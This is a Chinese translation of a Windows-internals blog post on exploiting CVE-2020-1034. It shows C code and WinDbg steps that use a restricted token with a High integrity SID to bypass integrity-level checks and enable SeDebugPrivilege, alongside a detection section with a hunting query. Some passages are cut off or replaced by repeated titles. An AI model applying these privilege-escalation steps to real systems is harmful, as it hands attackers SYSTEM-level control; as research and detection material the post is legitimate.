一個簡單Windows核心漏洞的深度利用(CVE-2020-1034)

0x00 前言

在上一篇文章中,我分析了CVE-2020-1034,該漏洞允許我們增加任意地址,我們在掌握了ETW內部原理之後就可以利用這一漏洞,為我們的程序增加SeDebugPrivilege許可權並建立一個提升後的程序。在這篇文章中,我們將再增加一些限制條件,並深入分析如何能夠繞過這些限制條件,最終仍然獲得我們想要的結果。如果是從低IL或中IL實現到系統級別的許可權提升,無疑會使這一過程的難度提高一個層次。

0x01 新的限制

在上一篇文章中,我編寫了一個漏洞利用程式碼,但我們想象在此基礎上核心增加了新的限制,從而不再允許我們直接增加Token。Privileges。Enabled。例如,設定了一個只讀欄位,僅允許特定核心程式碼可以修改。那麼在這種情況下,我們如何在不增加地址的情況下啟用特權?

0x02 啟用特權

這個問題的答案非常簡單,如同程序可以啟用其擁有但被禁用的其他任意特權一樣,我們可以透過RtlAdjustPrivilege或其advapi32 wrapper AdjustTokenPrivileges來啟用SeDebugPrivilege特權。但是,這裡遇到了一個問題,當我們嘗試呼叫RtlAdjustPrivilege啟用新新增的SeDebugPrivilege時,我們會返回STATUS_PRIVILEGE_NOT_HELD。

要了解為什麼會發生這種情況,我們需要檢視與啟用特權相關的核心函式,這部分程式碼的可讀性非常差。為了嘗試啟用特權,RtlAdjustPrivilege使用系統呼叫NtAdjustPrivilegesToken。這個函式首先檢查程序是否正在以高、中、低完整性級別執行。如果具有較高的完整性級別,則可以啟用它擁有的任何特權。但是,如果發現正在以中等完整性級別執行,則會進行以下檢查:

每個請求的特權都會對照這個常數值進行檢查,這個常數表示允許中等完整性級別程序具有的特權。SeDebugPrivilege的值為0x100000 (1

0x03 虛假EoP指向真正的EoP

我們需要得到較高完整性級別或者系統級的程序才能啟用除錯特權,但我們又打算利用除錯特權將自身(子程序)提升到系統級別。因此,就陷入了一個死迴圈。

但真實情況並非如此,實際上我們並不需要較高級別或系統級別的IL程序,只需要一個較高級別或系統級別IL的令牌即可。程序並不是必須使用建立時所使用的令牌。執行緒可以模擬它們擁有的任何令牌,包括具有更高完整性級別的令牌。不過,要實現這一點,我們需要處理一個具有更高IL的程序的控制代碼,從而複製令牌和模擬令牌。為了開啟這樣一個程序的控制代碼,我們需要一些目前沒有獲得的特權,例如除錯特權。這樣一來,就陷入了死迴圈。

然而,這一環節中可能存在漏洞。如果我們能夠建立滿足要求的令牌,就無需再使用其他程序的令牌。

要了解如何實現這一點,我們首先需要掌握有關Windows安全模型和完整性級別工作原理的知識。我和Alex以及James Forshaw展示了這個方案,並且得到了他們的認可。

0x04 利用令牌、完整性級別以及未受保護的陣列

要檢查令牌的完整性級別,我們需要檢視TOKEN結構中名為IntegrityLevelIndex的欄位。我們可以將其進行轉儲,以檢視其中包含的內容:

dx ((nt!_TOKEN*)(@$curprocess。KernelObject。Token。Object & ~0xf))->IntegrityLevelIndex

((nt!_TOKEN*)(@$curprocess。KernelObject。Token。Object & ~0xf))->IntegrityLevelIndex : 0xe [Type: unsigned long]

顧名思義,這個值本身不能給我們太多資訊,因為它只是SID_AND_ATTRIBUTES結構陣列中的一個索引,被UserAndGroups欄位指向。透過檢視SepLocateTokenIntegrity可以證實這一點,該方法由SepAdjustPrivileges呼叫,以確定要調整其特權的令牌的完整性級別。

一個簡單Windows核心漏洞的深度利用(CVE-2020-1034)

這個陣列有多個條目,具體的數量隨程序的不同而變化。可以根據UserAndGroupCount欄位檢視具體的數量:

dx ((nt!_TOKEN*)(@$curprocess。KernelObject。Token。Object & ~0xf))->UserAndGroupCount

((nt!_TOKEN*)(@$curprocess。KernelObject。Token。Object & ~0xf))->UserAndGroupCount : 0xe [Type: unsigned long]

dx -g *((nt!_SID_AND_ATTRIBUTES(*)[0xe])((nt!_TOKEN*)(@$curprocess。KernelObject。Token。Object & ~0xf))->UserAndGroups)

一個簡單Windows核心漏洞的深度利用(CVE-2020-1034)

顧名思義,SID_AND_ATTRIBUTES結構中包含一個安全描述符(SID)及其特定屬性。這些屬性取決於我們正在使用的資料型別,我們可以在這裡找到這些屬性的含義。結構的安全識別符號部分會告訴我們這個令牌屬於哪個使用者和組。這個資訊可以確定令牌的完整性級別,以及令牌可以在系統上進行的操作。例如,只有某些組可以訪問特定程序和檔案。在上一篇文章中我們也提到過,大多數GUID僅允許特定組進行註冊。SID的歌是為S-1-X-…,比較易於識別。

我們可以改進WinDbg查詢,從而以清晰的格式展示令牌所屬的所有組:

dx –s @$sidAndAttr = *((nt!_SID_AND_ATTRIBUTES(*)[0xf])((nt!_TOKEN*)(@$curprocess。KernelObject。Token。Object & ~0xf))->UserAndGroups)

dx -g @$sidAndAttr。Select(s => new )

一個簡單Windows核心漏洞的深度利用(CVE-2020-1034)

令牌指向的條目0xe是表中的最後一個條目,它是中等完整性級別的SID,這也就是我們無法啟用除錯特權的原因。但是,該系統的設計為我們提供了一種繞過完整性級別的方法。UserAndGroups欄位指向陣列,但是陣列是在TOKEN結構之後立即分配的。這並不是在這一記憶體塊中的最後一項工作。如果我們轉儲TOKEN結構,可以看到在UserAndGroups欄位之後,還有另一個指向相同格式陣列的指標,名為RestrictedSids。

[+0x098] UserAndGroups : 0xffffad8914e1e4f0 [Type: _SID_AND_ATTRIBUTES *]

[+0x0a0] RestrictedSids : 0x0 [Type: _SID_AND_ATTRIBUTES *]

受限令牌是一種透過僅允許令牌訪問其ACL允許訪問SID的物件,來限制特定程序或執行緒所具有的訪問許可權的方法。例如,如果令牌有針對“Bob”的受限SID,那麼使用此令牌的程序或執行緒只能在檔案明確允許訪問“Bob”的情況下訪問檔案。即使“Bob”是允許訪問檔案的組成員(例如Users或Everyone),除非檔案事先知道是“Bob”嘗試訪問它並將SID新增到ACL,否則將拒絕訪問。有時,在服務中會使用這一功能,限制只能訪問其使用所必需的物件,減少潛在的攻擊面。受限令牌還可以用於從令牌中刪除不需要的預設特權。例如,BFR服務使用寫入受限令牌,這意味著它對任何物件僅具有讀取訪問許可權,但只能對顯式允許其SID的物件獲得寫訪問許可權。

一個簡單Windows核心漏洞的深度利用(CVE-2020-1034)

關於受限令牌,有兩點比較重要的事情,可以幫助我們實現特權提升:

1、受限SID陣列在UserAndGroups陣列之後立即分配。

2、可以為任意SID建立受限令牌,包括該程序當前沒有的令牌。

這兩個事實表明,即使是一個較低或中等完整性級別的程序,也可以為較高完整性程序的SID建立一個受限令牌並模擬它。這會在UserAndGroups陣列之後立即向RestrictedSids陣列新增一個新的SID_AND_ATTRIBUTES條目,其方式可以看作是UserAndGroups陣列的下一個條目。當前的IntegrityLevelIndex指向UserAndGroups陣列中的最後一個條目,因此索引的增加會使其指向高完整性級別的新受限令牌。那麼,我們能否獲得一個任意增加漏洞呢?

一個簡單Windows核心漏洞的深度利用(CVE-2020-1034)

我們來嘗試一下。首先使用CreateWellKnownSid建立一個WinHighLabelSid,然後使用CreateRestrictedToken建立一個具有較高完整性級別SID的新受限令牌,然後進行模擬:

HANDLE tokenHandle;

HANDLE newTokenHandle;

HANDLE newTokenHandle2;

PSID pSid;

PSID_AND_ATTRIBUTES sidAndAttributes;

DWORD sidLength = 0;

BOOL bRes;

//

// Call CreateWellKnownSid once to check the needed size for the buffer

//

CreateWellKnownSid(WinHighLabelSid, NULL, NULL, &sidLength);

//

// Allocate a buffer and create a high IL SID

//

pSid = malloc(sidLength);

CreateWellKnownSid(WinHighLabelSid, NULL, pSid, &sidLength);

//

// Create a restricted token and impersonate it

//

sidAndAttributes = (PSID_AND_ATTRIBUTES)malloc(0x20);

sidAndAttributes->Sid = pSid;

sidAndAttributes->Attributes = 0;

bRes = OpenProcessToken(GetCurrentProcess(),

TOKEN_ALL_ACCESS,

&tokenHandle);

if (bRes == FALSE)

{

printf(“OpenProcessToken failed\n”);

return 0;

}

bRes = CreateRestrictedToken(tokenHandle,

WRITE_RESTRICTED,

0,

NULL,

0,

NULL,

1,

sidAndAttributes,

&newTokenHandle2);

if (bRes == FALSE)

{

printf(“CreateRestrictedToken failed\n”);

return 0;

}

bRes = ImpersonateLoggedOnUser(newTokenHandle2);

if (bRes == FALSE)

{

printf(“Impersonation failed\n”);

return 0;

}

接下來,我們看看執行緒令牌和其所在組。注意,我們正在模擬這個新令牌,因此需要檢查執行緒的模擬令牌,因為我們的主程序令牌不會受到下述影響。

dx -s @$token = ((nt!_TOKEN*)(@$curthread。KernelObject。ClientSecurity。ImpersonationToken & ~0xf))

dx new

new

GroupsCount : 0xf [Type: unsigned long]

UserAndGroups : 0xffffad890d5ffe00 [Type: _SID_AND_ATTRIBUTES *]

RestrictedCount : 0x1 [Type: unsigned long]

RestrictedSids : 0xffffad890d5ffef0 [Type: _SID_AND_ATTRIBUTES *]

IntegrityLevelIndex : 0xe [Type: unsigned long]

UserAndGroups仍然具有0xf條目,且此時我們的IntegrityLevelIndex仍然為0xe,與主令牌一致。不過現在,我們就擁有了一個受限SID。前面我提到過,由於記憶體佈局,我們可以將這個受限SID視為UserAndGroups陣列中的其他條目,我們可以對此進行測試。接下來,我們嘗試使用與之前相同的方式轉儲陣列,但這裡假設它具有0x10條目:

dx -s @$sidAndAttr = *((nt!_SID_AND_ATTRIBUTES(*)[0x10])@$token->UserAndGroups)

dx -g @$sidAndAttr。Select(s => new )

一個簡單Windows核心漏洞的深度利用(CVE-2020-1034)

結果證明是有效的!現在就有了0x10個有效條目,最後一個具有較高完整性級別的SID,就如同我們最開始希望的那樣。

現在,我們就可以使用與之前相同的方式執行漏洞利用程式,只不過這裡有兩處調整:

1、所有更改都需要使用我們當前的執行緒令牌,而不再是主程序令牌。

2、我們需要觸發兩次漏洞利用,第一次增加Privileges。Present以設定SeDebugPrivilege特權,第二次增加IntegrityLevelIndex以指向0xf條目。

在這一過程中,沒有驗證IntegrityLevelIndex是否低於UserAndGroupCount。即使有這樣的驗證過程,我們也可以再次利用相同的漏洞來修改其級別。因此,當新的模擬令牌指向較高完整性級別的SID時,SepAdjustPrivileges就會認為它正在以較高完整性級別的程序執行,並允許我們啟用所需的任意特權。在對漏洞利用進行修改後,我們可以再次嘗試執行,並看到RtlAdjustPrivileges這次返回STATUS_SUCCESS。但是,我並不完全相信API,而是想要親自檢查一下:

一個簡單Windows核心漏洞的深度利用(CVE-2020-1034)

或者,如果大家更喜歡使用WinDbg:

dx -s @$t0 = ((nt!_TOKEN*)(@$curthread。KernelObject。ClientSecurity。ImpersonationToken & ~0xf))

1: kd> !token @$t0 -n

_TOKEN 0xffffad89168c4970

TS Session ID: 0x1

User: S-1-5-21-2929524040-830648464-3312184485-1000 (User:DESKTOP-3USPPSB\yshafir)

User Groups:

。。。

Privs:

19 0x000000013 SeShutdownPrivilege Attributes -

20 0x000000014 SeDebugPrivilege Attributes - Enabled

23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default

25 0x000000019 SeUndockPrivilege Attributes -

33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes -

34 0x000000022 SeTimeZonePrivilege Attributes -

Authentication ID: (0,2a084)

Impersonation Level: Impersonation

TokenType: Impersonation

。。。

RestrictedSidCount: 1

RestrictedSids: 0xffffad89168c4ef0

Restricted SIDs:

00 S-1-16-12288 (Label: Mandatory Label\High Mandatory Level)

Attributes - Mandatory Default Enabled

如同最開始的目標,現在我們的模擬令牌已經擁有了SeDebugPrivilege。現在,我們就可以執行之前的操作,在DcomLaunch服務下執行提升許可權後的cmd。exe。您可能會想,既然我們已經擁有了高完整性級別的令牌,是否還需要沿用之前的方式呢?實際上,受限令牌並不是真正意義上的常規令牌,如果嘗試使用受限令牌作為虛假的提升許可權程序來執行,可能會遇到一些問題,並且對於掃描程序的防禦工具來說,看上去也非常可疑。綜合考慮,最好的方案還是建立一個可以以SYSTEM身份執行且沒有太多可疑之處的新程序。

0x05 檢測方式

我們使用的方法非常巧妙,這種方式不僅能欺騙系統,而且還很難被發現。對於防禦者來說,最有效的判斷方式是確認IntegrityLevelIndex是否屬於UserAndGroups陣列的範圍。但即使是進行了這樣的確認,攻擊者也很容易再次觸發漏洞並增加UserAndGroupCount。如果根據計數來計算UserAndGroup陣列的結束地址,並將其與RestrictedSids陣列的起始地址進行比較,看二者是否匹配,這種方法仍然是有效的。不過,這樣的檢測方式非常有針對性,需要針對這種不常見的攻擊方式進行深入分析後才能得到這種方法。

還有第二種方法,就是搜尋模擬受限令牌的執行緒。這是非常不常見的情況,在我進行搜尋時,得到的唯一結果就是我的漏洞利用:

dx @$cursession。Processes。Where(p => p。Threads。Where(t => t。KernelObject。ActiveImpersonationInfo != 0 && ((nt!_TOKEN*)(t。KernelObject。ClientSecurity。ImpersonationToken & ~0xf))->RestrictedSidCount != 0)。Count() != 0)

@$cursession。Processes。Where(p => p。Threads。Where(t => t。KernelObject。ActiveImpersonationInfo != 0 && ((nt!_TOKEN*)(t。KernelObject。ClientSecurity。ImpersonationToken & ~0xf))->RestrictedSidCount != 0)。Count() != 0)

[0x279c] : exploit_part_2。exe [Switch To]

不過這是一個非常有針對性的搜尋,只能夠發現這種特殊的漏洞利用場景。並且,如果攻擊者在啟用特權後將執行緒恢復為原始令牌,這種檢測方法就失效了。作為攻擊者來說,這無疑是一個好習慣,不要讓漏洞利用產生的“可疑”屬性保持太長時間,從而就可以儘可能地規避被檢測到的風險。與此同時,我在上一篇文章中提到的檢測方式仍然適用於這裡的場景,因為我們利用的漏洞相同、觸發方式相同、仍然註冊了一個新的ETW提供程式並且其他人都沒有使用它、仍然留下了一個佔用的位置且無法清空。因此,如果我們足夠了解漏洞利用的過程,就有足夠多的條件可以實現檢測。

當然,在這裡還有一點不同以往,就是中等完整性級別的程序會突然搶佔SeDebugPrivilege,開啟DcomLaunch的控制代碼,並建立一個新的父級提升許可權的程序。這樣的特徵可能會成為EDR產品的一些檢測指標。

0x06 總結

這篇文章描述了一個假設的場景,在這樣的場景中,我們不能再簡單地在程序令牌中增加Privileges。Enabled。我們目前在日常中還不需要使用這些獨特的技巧,但是這些技巧是非常容易找到和利用的,就如同DIY CTF一樣,也許這些技巧某一天會在另一個場景中有所幫助。這些技巧清晰地表明,令牌中包括許多值得關注的欄位,可以以各種方式利用。與此同時,我們需要對一些內部原理知識有更深入的瞭解。

由於令牌非常容易受到攻擊,並且不會經常更改,所以作為防禦措施,可以考慮將其轉移到安全池之中。

在上篇文章和這篇文章中,我最終獲得了SeDebugPrivilege,並使用了一些技巧來建立一個提升許可權後的程序。在後續的文章中,我將會介紹一些其他特權,這些特權在漏洞利用的過程中經常會被忽略,並且可以以出人意料的方式來利用。

參考及來源:https://windows-internals。com/exploiting-a-simple-vulnerability-part-2-what-if-we-made-exploitation-harder/

TAG: 令牌SID完整性級別我們